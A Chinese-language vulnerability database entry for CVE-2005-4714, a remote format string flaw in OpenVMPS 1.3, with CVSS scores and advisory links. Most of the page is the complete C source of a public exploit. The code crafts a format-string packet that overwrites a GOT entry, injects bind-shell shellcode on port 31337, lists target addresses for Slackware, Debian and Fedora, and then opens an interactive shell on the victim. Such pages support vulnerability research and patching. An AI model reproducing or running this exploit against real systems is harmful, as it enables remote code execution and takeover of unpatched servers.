CVE-2005-4714
CVSS7.5
发布时间 :2005-12-31 00:00:00
修订时间 :2008-09-05 16:57:37
NMCOE    

[原文]Format string vulnerability in the vmps_log function in OpenVMPS (VLAN Management Policy Server) 1.3 allows remote attackers to execute arbitrary code via unknown vectors.


[CNNVD]OpenVMPS日志函数格式化字符串漏洞(CNNVD-200512-966)

        OpenVMPS (VLAN Management Policy Server) 1.3中的vmps_log函数存在格式化字符串漏洞,远程攻击者可以通未知向量来执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4714
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-4714
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200512-966
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/22587
(UNKNOWN)  XF  openvmps-vmpslog-format-string(22587)
http://www.securityfocus.com/bid/15072
(UNKNOWN)  BID  15072
http://www.securiteam.com/unixfocus/6I00F00EAI.html
(UNKNOWN)  MISC  http://www.securiteam.com/unixfocus/6I00F00EAI.html
http://www.osvdb.org/19910
(UNKNOWN)  OSVDB  19910
http://secunia.com/advisories/17128
(VENDOR_ADVISORY)  SECUNIA  17128

- 漏洞信息

OpenVMPS日志函数格式化字符串漏洞
高危 格式化字符串
2005-12-31 00:00:00 2006-02-14 00:00:00
远程  
        OpenVMPS (VLAN Management Policy Server) 1.3中的vmps_log函数存在格式化字符串漏洞,远程攻击者可以通未知向量来执行任意代码。

- 公告与补丁

        

- 漏洞信息 (1487)

OpenVMPSd <= 1.3 Remote Format String Exploit (Multiple Targets) (EDBID:1487)
linux remote
2006-02-10 Verified
1589 Gotfault Security
N/A [点击下载]
/*
 * gexp-openvmpsd.c
 *
 * OpenVMPSd v1.3 Remote Format String Exploit
 * Copyright (C) 2005 Gotfault Security
 *
 * Bug found and developed by: barros and xgc
 *
 * Original Reference:
 * http://gotfault.net/research/exploit/gexp-openvmpsd.c
 *
 */

#include <getopt.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <netinet/in.h>
#include <stdio.h>

/*==[ Prototypes ]==*/
void Usage(char *);
void fatal(char *);
int  CreateEvilBuffer(int, int, int, int, char *);
void ExecuteShell(int);
void SendBuffer(int , char *, int);
int  CreateUdpSocket(void);
int  ConectToHost(char *, int);

/*==[ Defines ]==*/
#define	DEFAULT_PORT		1589	// Default server port
#define BIND_PORT		31337	// Default port to bind
#define NOPSIZE			50	// Do not change this value cause the shellcode space is "limited"
#define NOP			0x90	// Nop value
#define PAD			"..."	// Format string alignment
#define PORT_OFFSET		29	// Offset to fix the shellcode

/*==[ Targets ]==*/
struct
{
	char	*Name;
	int	Gotaddr;
	int	Retaddr;
	int	Pop;
}Targets[] =
	{
		"OpenVMPSd v1.3 @ Slackware 10.0",
		0x0804e57c,
		0xbffff4f5,
		19,

		"OpenVMPSd v1.3 @ Debian 3.0 Linux",
                0x0804d0f8,
		0xbffff7ac,
		29,

		"OpenVMPSd v1.3 @ Fedora Core 2",
		0x0804d0f8,
		0xbffff7ac,
		19,

		// Finish
		0,
		0,
		0,
		0
	};

/*==[ Shellcode by Marco Ivaldi <raptor@0xdeadbeef.info> ]==*/
char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
        "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
        "\x89\xc7\x52\x66\x68"
        "BP" // Port to bind
        "\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80"
        "\xb0\x66\xb3\x04\xcd\x80"
        "\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80"
        "\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
        "\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80";

/*==[ OpenVMPSd UDP packet header ]==*/
#define SIZE_OF_HEADER 14
char header[] = "\x41\x01\x41\x01\x41\x41\x41\x41\x00\x00\x0c\x02";

int main(int argc, char **argv)
{
	extern  char		*optarg;
	extern  int		optind;
		char		opt;
		char		*Host = NULL;
		int		Port = DEFAULT_PORT;
		int		BindPort = BIND_PORT;
		int		TargetNumber = 0;
		int		Sock,i;
		char		*EvilBuffer;
		int		BufLen;

	fprintf(stdout,"\n--=[ OpenVMPSd Remote Format String Exploit ]\n\n");
	
	// Process arguments
	while ( (opt = getopt(argc,argv,"h:t:p:r:")) != EOF)
	{
		switch(opt)
		{
			case 'r':
				BindPort = atoi(optarg);
				if(!BindPort) Usage(argv[0]);
			break;
			case 'p':
				Port = atoi(optarg);
				if(!Port) Usage(argv[0]);
			break;
			case 't':
				TargetNumber = atoi(optarg);
			break;
			case 'h':
				Host = optarg;
			break;
			default: Usage(argv[0]);
			break;
		}
	}
	if(Host == NULL) Usage(argv[0]);

	// Verify target
	for(i=0;;i++)
		if(Targets[i].Name == 0) break;
	if(--i<TargetNumber) Usage(argv[0]);

	fprintf(stdout,"[*] Target plataform      : %s\n",Targets[TargetNumber].Name);
	fprintf(stdout,"[*] Target host           : %s\n",Host);
	fprintf(stdout,"[*] Target port           : %u\n",Port);
	fprintf(stdout,"[*] Bind to port          : %u\n",BindPort);
	fprintf(stdout,"[*] Target GOT            : %#010x\n",Targets[TargetNumber].Gotaddr);
	fprintf(stdout,"[*] Target Retaddr        : %#010x\n",Targets[TargetNumber].Retaddr);	
	fprintf(stdout,"[*] Target POP            : %d\n\n",Targets[TargetNumber].Pop);

	fprintf(stdout,"[*] Connecting\t\t  : ");
	fflush(stdout);
	Sock = ConectToHost(Host,Port);
	if(Sock == -1) fatal("Could not connect");
	else fprintf(stdout,"done\n");

	fprintf(stdout,"[*] Creating EvilBuffer\t  : ");
	fflush(stdout);
	EvilBuffer = (char *)malloc(strlen(shellcode)+NOPSIZE+strlen(PAD)+515);
	if(!EvilBuffer) fatal("Out of memory");
	BufLen = CreateEvilBuffer(Targets[TargetNumber].Gotaddr,Targets[TargetNumber].Retaddr,Targets[TargetNumber].Pop,BindPort,EvilBuffer);
	fprintf(stdout,"done\n");
	
	fprintf(stdout,"[*] Attacking\t\t  : ");
	fflush(stdout);
	SendBuffer(Sock,EvilBuffer,BufLen);
	fprintf(stdout,"done\n");

	close(Sock);

	sleep(1);

        Sock = ConectToShell(Host,BindPort);

        if(Sock == -1) {
		fprintf(stdout,"[*] Exploit Failed.\n\n");
		exit(0);
	}
        else {
		fprintf(stdout,"[*] Spawning Shell...\n\n");
		ExecuteShell(Sock);
	        close(Sock);
	}
}

void SendBuffer(int Sock, char *Buffer, int size)
{
	if(send(Sock,Buffer,size,0) == -1)
		fatal("SEND");
}

int ConectToHost(char *Host,int Port)
{
	struct 		sockaddr_in server;
	struct 		hostent *hp;
	int 		s;

	server.sin_family = AF_INET;
	hp = gethostbyname(Host);
	if(!hp) return(-1);

	memcpy(&server.sin_addr,hp->h_addr,hp->h_length);
	server.sin_port = htons(Port);

	s = socket(PF_INET,SOCK_DGRAM,0);
	if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)
		return(-1);

	return(s);
}

int ConectToShell(char *Host,int Port)
{
        struct          sockaddr_in server;
        struct          hostent *hp;
        int             s;

        server.sin_family = AF_INET;
        hp = gethostbyname(Host);
        if(!hp) return(-1);

        memcpy(&server.sin_addr,hp->h_addr,hp->h_length);
        server.sin_port = htons(Port);

        s = socket(PF_INET,SOCK_STREAM,0);
        if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)
                return(-1);

        return(s);
}

int CreateEvilBuffer(int GOT, int RETADDR, int POP, int BINDTOPORT, char *buffer)
{
	char		*nops = malloc(NOPSIZE+1);
	char		*ptr;
	unsigned short	*len;
	unsigned short	*portPtr = (unsigned short *)(shellcode+PORT_OFFSET);

	// Fix shellcode
	*portPtr = htons(BINDTOPORT);

	// Header
	ptr = buffer;
	memcpy(ptr,header,12);
	ptr += SIZE_OF_HEADER;
	len = (unsigned short *)(buffer + SIZE_OF_HEADER - 2);

	// Create Nops
	bzero(nops,NOPSIZE+1);
	memset(nops,NOP,NOPSIZE);
	
	// Create format string attack
	sprintf(ptr,
		PAD
		"%c%c%c%c"
                "%c%c%c%c"
                "%%.%dd"
                "%%%d$hn"
                "%%.%dd"
                "%%%d$hn"
                "%s%s",
                ((u_long)GOT),
                ((u_long)GOT >> 8),
                ((u_long)GOT >> 16),
                ((u_long)GOT >> 24),
                ((u_long)GOT+2),
                (((u_long)GOT+2) >> 8),
                (((u_long)GOT+2) >> 16),
                (((u_long)GOT+2) >> 24),
                ((RETADDR & 0x0000FFFF) - 9 - 63),
                POP,
                (((RETADDR & 0xFFFF0000)>>16) + 0x10000 - (RETADDR & 0x0000FFFF)) - 1,
                POP+1,nops,shellcode); 

	*len = htons(strlen(ptr));

	return (strlen(ptr)+14);
}

#define	STDIN			0
#define STDOUT			1
void ExecuteShell(int Sock)
{
	char 		buffer[1024 * 10];
	int 		count;
	fd_set 		readfs;

	write(Sock,"uname -a;id\n",12);
	while(1)
	{
		FD_ZERO(&readfs);
		FD_SET(STDIN, &readfs);
		FD_SET(Sock, &readfs);
		if(select(Sock + 1, &readfs, NULL, NULL, NULL) > 0)
		{
			if(FD_ISSET(STDIN, &readfs))
			{
				if((count = read(STDIN, buffer, 1024)) <= 0)
				{
					if(errno == EWOULDBLOCK || errno == EAGAIN)
						continue;
					else
					{
						close(Sock);
						exit(-1);
					}
				}
				write(Sock, buffer, count);
			}
			if(FD_ISSET(Sock, &readfs))
			{
				if((count = read(Sock, buffer, 1024)) <= 0)
				{
					if(errno == EWOULDBLOCK || errno == EAGAIN)
						continue;
					else
					{
						close(Sock);
						exit(-1);
					}
				}
				write(STDOUT, buffer, count);
			}
		}
	}
}

void fatal(char *ErrorMsg)
{
	fprintf(stderr,"ERROR - %s\n\n",ErrorMsg);
	exit(1);
}

void Usage(char *Prog)
{
	int i;
	fprintf(stderr,	"Usage: %s -h hostname <options>\n\n"
			"Options:\n\n"
			" -t target     : Select the target\n"
			" -p portnumber : Sets a new port number <default: %d>\n"
			" -r bindport   : Sets the port to bind a shell <default: %d>\n\n"
			"Targets:\n\n",Prog,DEFAULT_PORT,BIND_PORT);

	for(i=0;;i++)
	{
		if(Targets[i].Name != 0)
			fprintf(stderr," [%u] %s\n",i,Targets[i].Name);
		else
			break;
	}
	fprintf(stderr,"\n");
	exit(1);
}

// milw0rm.com [2006-02-10]
		

- 漏洞信息

19910
OpenVMPS Logging Function Format String
Local / Remote, Context Dependent Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2005-10-10 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站